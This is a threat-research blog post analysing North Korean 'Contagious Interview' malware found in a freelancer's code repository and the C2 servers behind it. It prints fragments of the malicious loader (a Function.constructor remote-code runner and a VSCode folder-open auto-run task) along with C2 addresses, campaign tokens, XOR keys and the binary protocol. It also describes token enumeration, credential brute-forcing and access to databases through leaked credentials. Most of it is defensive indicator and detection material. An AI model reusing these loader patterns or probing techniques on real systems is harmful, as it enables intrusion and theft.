Hunting Lazarus: Inside the Contagious Interview C2 Infrastructure

By Red Asgard Threat Research Team

Published: 2026-01-12 · Archived: 2026-04-05 21:06:28 UTC

Hunting Lazarus: Inside the Contagious Interview C2 Infrastructure

We found North Korean malware in a client's Upwork project. Then we spent five days mapping the attackers' infrastructure.

When you vet enough freelancer code repositories, you develop instincts. A `.vscode/tasks.json` with `runOn: folderOpen`. A `getCookie()` function that fetches from a Vercel domain. An `errorHandler.js` with `Function.constructor`. These patterns don't belong in legitimate projects.

In early January 2026, during routine vetting of a cryptocurrency project sourced via Upwork, Red Asgard's threat research team discovered all three. The contractor—using a fake identity—had embedded malware in a legitimate-looking code repository.

What followed was a five-day investigation into active Lazarus Group infrastructure. This article documents what we found.

Three Attack Vectors

The repository contained three distinct infection mechanisms:

1. VSCode Auto-Execution A `.vscode/tasks.json` file configured with `runOn: folderOpen`—meaning the malicious code executes the moment a developer opens the project folder in VSCode or Cursor.

2. Backend RCE via Function Constructor An `errorHandler.js` file containing:

```
 const handler = new (Function.constructor)('require', errCode);
return handler;
handlerFunc(require);  // Execute with full Node.js access
```

3. Cookie Payload Delivery (Vynlence variant) A `getCookie()` function that fetches malicious JavaScript from C2, disguised as benign cookie retrieval. The C2 returns `{ cookie: "<javascript_code>" }` which is then executed via `Function.constructor`.

All three vectors pointed to Vercel-hosted Stage 1 C2 servers. We set up an isolated analysis environment and followed the trail.

The Infrastructure We Mapped

Stage 1: Vercel Distribution

Domain	Endpoint	Token
task-hrec.vercel.app	/task/linux?token=	f93a38103457
kb102531x.vercel.app	/api/x	bc7302f71ff3
brantwork.vercel.app	/c/{token}	bc7302f71ff3

Stage 2: Dedicated C2 Servers

IP	Hostname	ASN	Role
147.124.213.232	WR232	AS396073 (Majestic Hosting)	Primary C2
147.124.212.125	W9_125	AS396073	Secondary C2
216.250.251.87	WIN-8OA3CCQAE4D	AS396073	Backup
45.43.11.199	WIN-4MOD9QVI0EN	AS397423 (TIER-NET)	Router (offline)
66.235.63.55	-	AS397423	MetaMask Injector
66.235.168.238	Z238	AS397423	Chrome Stealer C2
45.59.163.55	PS55	AS397423	Chrome Stealer C2

All servers run Windows Server 2019/2022 with Express.js on port 1244, pyftpdlib FTP on port 21, and RDP/WinRM for operator access.

The Timing Oracle

During reconnaissance, we discovered a timing oracle that allows enumeration of valid campaign tokens:

Token Type	Response Time
Valid	~400ms
Invalid	~6000ms (timeout)

This 15x timing differential reveals whether a token is actively serviced. We used this to enumerate three active campaigns: `hkMrMq7`, `kmHgMq7`, and `dGVhbTE1` (base64 for "team15").

Detection opportunity: Monitor for sequential requests to `/c/{token}` with systematic token variations.

The Payload Chain

The C2 serves modular payloads via token-authenticated endpoints:

Endpoint	Module	Purpose	Size
/c/{token}	Chrome stealer	Browser data extraction	13 KB
/j/{token}	Extended stealer	Brave, Exodus wallets	27 KB
/n/{token}	Network module	RAT + FTP exfil	25 KB
/z/{token}	Archive handler	File enumeration	11 KB
/dd/{token}	MetaMask injector	Extension hijacking	13 KB
/bro/{token}	Tsunami backdoor	Full RAT + XMRig	153 KB
/payl/{token}	Main payload	RAT controller	32 KB

Cracking 64 Layers of Obfuscation

The `bro_*.js` payload contains 64 nested obfuscation layers:

```
 Layer 1: Base85 + XOR (key: Vw1aGYoP)
Layers 2-64: zlib + reversed base64
Final output: 175,733 bytes of Python
```

Layer 1 was the hardest—Base85 encoding with an 8-byte XOR key (`Vw1aGYoP`) that had to be discovered through pattern analysis. Once cracked, layers 2-64 were mechanical: decompress with zlib, reverse the string, base64 decode, repeat.

The final payload revealed something unexpected: a full-featured backdoor with XMRig cryptocurrency miner, disguised as `msedge.exe` . The operators aren't just stealing credentials—they're also mining Monero on victim machines.

XOR Keys Recovered

Key	Purpose
`G01d*8@(`	File encryption (8 bytes, "Gold" leetspeak)
`G0Md*8@(`	Network module variant
`Vw1aGYoP`	Base85 layer decryption
`!!!HappyPenguin1950!!!`	Tsunami URL encoding

Key	Purpose
`Xt3rqfmL`	client/payl module
`Ze4pq4iT`	dd module (MetaMask injector)
`0xcb`	Z238 binary protocol

The Tsunami Backdoor

After deobfuscation, the 175KB Python payload reveals sophisticated persistence and monetization:

Persistence Mechanisms

1. **Startup Folder**: `Windows Update Script.pyw`
2. **Scheduled Task**: "Runtime Broker" at logon
3. **Defender Exclusions**: Added via PowerShell

Masquerading

Real Name	Disguised As
Installer	Runtime Broker.exe
Client	Runtime Broker.exe
XMRig Miner	msedge.exe

1,000 Pastebin Dead Drops

The malware contains **1,000 encoded Pastebin profile URLs** for dead drop resolution:

```
 https://pastebin.com/u/HolesGarmin3166_OnsitePoet2677
https://pastebin.com/u/CrackEden1251_WaitsRenee9809
https://pastebin.com/u/KerrWhale2274_KnowNtsc6785
... (997 more)
```

As of January 2026, a sample of 100 accounts all return 404—indicating rotation or takedown.

Operator RSA Public Key

```
 -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvRgxN5vWny1/dAc7s6KM
ZURyqQti1OE11PkaXPY32E39TKau6vD+QntWKNTFI53WmkvY6YbLGf06oiZ99uYd
TkeL/gtKfnaPPOt1mADL9R3nFwyWABw7Q41NgYlu7XHMiTUuh/TRPvOiXL5yKx+4
PnXsN+sE93pk2qNpB+cnJ1/b4re89xuNpD9HQjjsda3PNOD13s7OL7fq+74tY4oc
```

```
MQ6BNFOq9J46xd/4jay8n/q33v3PgwwsL6TQR5grUdfblXZ8WZzxXVKEqMtqJtmR
M8zjHoods0PoopOS6IzoYD+anchz5JCKHBrrMXd8g+A2hMq+W5lEkIytbe1dPXsn
CQIDAQAB
-----END PUBLIC KEY-----
```

SHA256: `40b59567a2b580f1952dadae5dd586895b2316e590b84842f89aed1675f2d707`

The Z238 Binary Protocol

Port 22411-22412 on `Z238` (66.235.168.238) runs a custom binary protocol—not HTTP.

Protocol Structure

Field	Size	Description
Version	2 bytes	Always 0x00 0x00
Type	1 byte	Message type
Length	1 byte	Payload length
Payload	Variable	Wide-char encoded, XOR 0xcb

Message Types

Type	Function
0x03	AUTH_CHALLENGE
0x04	AUTH_RESPONSE
0x05	CMD_SHELL
0x06	CMD_UPLOAD
0x07	CMD_DOWNLOAD
0x08	CMD_LIST
0x09	CMD_KILL
0x0A	CMD_STATUS

Cracking the Protocol

We captured the initial server greeting and noticed a repeating `0xcb` pattern in the hex dump—a telltale sign of XOR encoding against null bytes. After XOR decoding, the `MmmM` magic bytes appeared, revealing the wide-

character encoding scheme.

We crafted authentication packets and tested from VPN exit nodes in Australia and Japan. The first packet was **accepted** (empty response, no error)—but subsequent probes triggered rate limiting. Within hours, all our VPN IPs were blocked. The operators had detected our testing.

Operational Analysis

The Operators Responded to Our Probing

During active reconnaissance, we observed real-time defensive responses:

Observation	Implication
3 of 5 C2 services went offline mid-investigation	Active monitoring or automated tripwires
Z238 custom ports (22411-22412) closed after initial probes	Operator detected enumeration
Rate limiting triggered after auth packet testing	Anti-bruteforce measures in place
Payload delivery disabled (all token endpoints returned empty)	Possible campaign rotation

This isn't "fire and forget" infrastructure—someone is watching.

Credential Compartmentalization

We attempted to reuse discovered XOR keys as server credentials:

Attempt	Result
WinRM with `G01d*80(` (XOR key)	Failed
FTP with campaign tokens	Failed
RDP with hostname-based users	Failed
37,800+ credential combinations	All failed

Conclusion: Operators maintain strict separation between malware encryption keys and infrastructure credentials. This is mature OPSEC.

Database Access Revealed Infrastructure Reuse

Hardcoded MongoDB credentials in the malware gave us access to 32 databases (3.2GB):

Database	Size	Contents
`test`	344 MB	91,346 synthetic wallet records (load testing)
`playmate`	233 KB	Sports social app in development
`vadym_choryi`	70 KB	Developer test environment
26x `tenant_*`	20-86 KB each	University SaaS staging data

The same MongoDB Atlas cluster hosts both the C2 backend **and** legitimate-looking development projects. This infrastructure blending provides cover—if investigated, operators can point to "normal" development activity.

Decoy Endpoints

The C2 servers include non-functional endpoints designed to waste researcher time:

Decoy	Behavior
`/multiple-upload` form in HTML	Route returns 404 (not implemented)
Various upload field names	All return `MulterError: Unexpected field`
`/` root page	Fake file upload interface

Attribution: HIGH Confidence

Evidence	Weight
IP 147.124.212.125 flagged by 14 VT vendors	Strong
Same /24 subnet documented in Sekoia, Unit42 reports	Strong
TTP match: fake jobs -> GitHub -> VSCode -> crypto theft	Strong
Port 1244 matches prior Contagious Interview campaigns	Moderate
Malware families (BeaverTail patterns) consistent	Moderate
Ukrainian persona aligns with known DPRK front tactics	Circumstantial

We assess with **high confidence** this is Lazarus Group infrastructure.

What We Didn't Find

Gap	Why It Matters
Operator panel location	Would reveal full victim scope

Gap	Why It Matters
FTP credentials	Dynamically delivered via socket, never captured
Valid WinRM/RDP credentials	Infrastructure remains inaccessible
Full victim count	Only saw partial database access
Monero wallet address	XMRig config not in deobfuscated payload

---

Defensive Recommendations

Network-Level

1. Block C2 IPs: `147.124.213.232`, `147.124.212.125`, `216.250.251.87`, `45.43.11.199`, `66.235.63.55`, `66.235.168.238`, `45.59.163.55`
2. Alert on port 1244/tcp and 1249/tcp connections
3. Monitor POST to `/keys` with JSON containing `ts`, `type`, `hid`, `ss`, `cc`
4. Hunt FTP connections to `/DAhkMrMq7/` path
5. Monitor Pastebin profile access from non-browser processes

Host-Level

1. Alert on `Windows Update Script.pyw` in Startup folder
2. Alert on `Runtime Broker.exe` in non-standard locations
3. Alert on `msedge.exe` in `%LOCALAPPDATA%/Microsoft/Windows/Applications`
4. Hunt scheduled task named "Runtime Broker"
5. Monitor PowerShell `Add-MpPreference` exclusion commands
6. Alert on files in `~/.vscode/pay` or `~/.vscode/bow`
7. Alert on `~/.n2/` directory creation

YARA Strings

```
 !!!HappyPenguin1950!!!
TSUNAMI_INJECTOR
TSUNAMI_PAYLOAD
Windows Update Script.pyw
G01d*8@(
G0Md*8@(
Xt3rqfmL
Ze4pq4iT
nkbihfbeogaeaoehlefnkodbefgpgknn
.vscode/pay
.vscode/bow
Chrome/secdata
```

MITRE ATT&CK Mapping

ID	Technique	Evidence
T1566.003	Phishing via Service	Fake job interviews on Upwork
T1204.002	Malicious File Execution	npm install trigger
T1059.007	JavaScript Execution	All payloads
T1059.006	Python Execution	Tsunami backdoor
T1027.002	Software Packing	64 obfuscation layers
T1547.001	Startup Folder	Windows Update Script.pyw
T1053.005	Scheduled Task	"Runtime Broker"
T1555	Credential Theft	Browser data stealing
T1539	Session Cookie Theft	Cookie exfiltration
T1562.001	Disable Security Tools	Defender exclusions
T1048.003	Exfil over FTP	basic-ftp usage
T1102.001	Dead Drop Resolver	1000 Pastebin accounts
T1496	Resource Hijacking	XMRig miner
T1036.005	Masquerading	Runtime Broker, msedge.exe
T1573.001	Symmetric Encryption	XOR keys
T1573.002	Asymmetric Encryption	RSA payload signing

A Practitioner's Perspective

The "Contagious Interview" campaign isn't new—SentinelOne, Sekoia, and others have documented it extensively. What we're adding here is what happens when you don't just analyze the malware, but actively probe the infrastructure.

The operators are competent. They compartmentalize credentials. They monitor for enumeration. They blend C2 infrastructure with legitimate-looking projects. They build decoys for researchers. This isn't amateur hour.

But they also make mistakes. Hardcoded MongoDB credentials. Timing oracles. XOR keys that follow predictable patterns. Pastebin account names that could theoretically be enumerated.

The BlockNovas front company was seized in April 2025. The infrastructure we documented in January 2026 is still active. Takedowns slow them down; they don't stop them.

For organizations: if you're hiring crypto developers through Upwork, Fiverr, or similar platforms, you're in the target zone. Vet repositories before opening them. Disable VSCode auto-run tasks. Review package.json scripts before running `npm install`.

For threat hunters: the IOCs in this report are actionable. The timing oracle technique may apply to other campaigns. The Z238 protocol details enable signature development.

For law enforcement: we have 36 malware samples and detailed infrastructure documentation available for coordination.

How Red Asgard Can Help

This investigation originated from our freelancer code vetting practice—a service we offer to organizations that outsource development work.

Contractor Code Review

- Repository analysis before code integration
- Malware and backdoor detection
- Supply chain risk assessment
- Freelancer background verification

Threat Intelligence

- APT campaign tracking
- IOC feeds and alerting
- Custom threat hunting
- Incident response support

Security Assessments

- Application security testing
- Infrastructure penetration testing
- AI/ML security review
- Red team engagements

If you're outsourcing development work—especially in crypto or Web3—we'd welcome the opportunity to discuss your security posture.

Contact: contact@redasgard.com

References

- SentinelOne: Contagious Interview
- Sekoia: ClickFake Interview Campaign
- ANY.RUN: Lazarus Group Attacks 2025
- Dark Reading: Contagious Interview npm Package Factory
- The Hacker News: BlockNovas FBI Seizure
- MITRE ATT&CK: Contagious Interview (G1052)

Share this article

Help spread the word about security best practices.
